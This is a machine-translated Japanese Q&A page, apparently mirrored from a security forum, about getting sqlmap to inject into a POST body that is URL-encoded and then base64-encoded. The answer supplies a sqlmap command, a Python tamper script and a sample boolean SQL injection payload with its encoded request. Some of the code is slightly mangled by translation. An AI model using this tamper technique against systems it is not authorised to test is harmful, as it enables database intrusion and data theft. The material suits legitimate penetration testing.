web-dev-qa-db-ja.com

エンコードデータを含むhttp post要求でsqlmapを実行する

次のようにエンコードされたものからのhttp postリクエストのターゲットがあります。

データリクエストポストは最初にURLエンコードされ、次にBase64エンコードされます。

上記のターゲットからのリクエストポストの例

POST /test/test-page.php HTTP/1.1
Host: target.com
bmFtZTElM0R2YWx1ZTElMjZuYW1lMiUzRHZhbHVlMg==

データリクエストポストをデコードするには、まずbase64でデコードし、次にurlでデコードする必要があります。実際にデコードした後次のようなもの:

POST /test/test-page.php HTTP/1.1
Host: target.com
name1=value1&name2=value2

今私の質問は:データリクエストポストからパラメーター値にクエリを挿入しながらこのターゲットでsqlmapを実行し、前述のようにエンコードしてサーバーターゲットに送信する方法です。

2
alrz

Sqlmapは、カスタムコードでパラメーターを処理する複数の方法をサポートしています。次のように、--evalを使用して単一のパラメータをbase64エンコードできます。

--eval "import base64; paramname = base64.b64encode(paramname)"

また、--tamperパラメータを使用して、ペイロードを変更するカスタムpythonスクリプトをロードできます。

残念ながら、全体 POSTクエリ文字列を改ざんすることは簡単ではありません。しかし、これは回避策の提案です:

Sqlmapコマンドで空のデータ文字列を指定し(アスタリスク(*)を使用して注入ポイントを示します)、--tamperスクリプトを宣言します。

$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper 

改ざんスクリプトは次のようになります。

 import base64 
 import urllib 
 
 def tamper(payload、** kwargs):
 params = 'name1 = value1%s&name2 = value2' %payload 
 
 data = urllib.quote_plus(params)
 data = base64.b64encode(data)
 
 return data 

このスクリプトは、ペイロードをクエリに挿入し、URLエンコードとbase64変換を実行します。現在、name1パラメータをテストしています。他の注入点を確認する場合は、注入点を手動で変更する必要があります。

サンプルペイロード) AND 3825=3825 AND (7759=7759の場合、次のようなリクエストになります。

POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close

bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy

ご覧のとおり、POST本体はURLおよびbase64でエンコードされています。

4
Arminius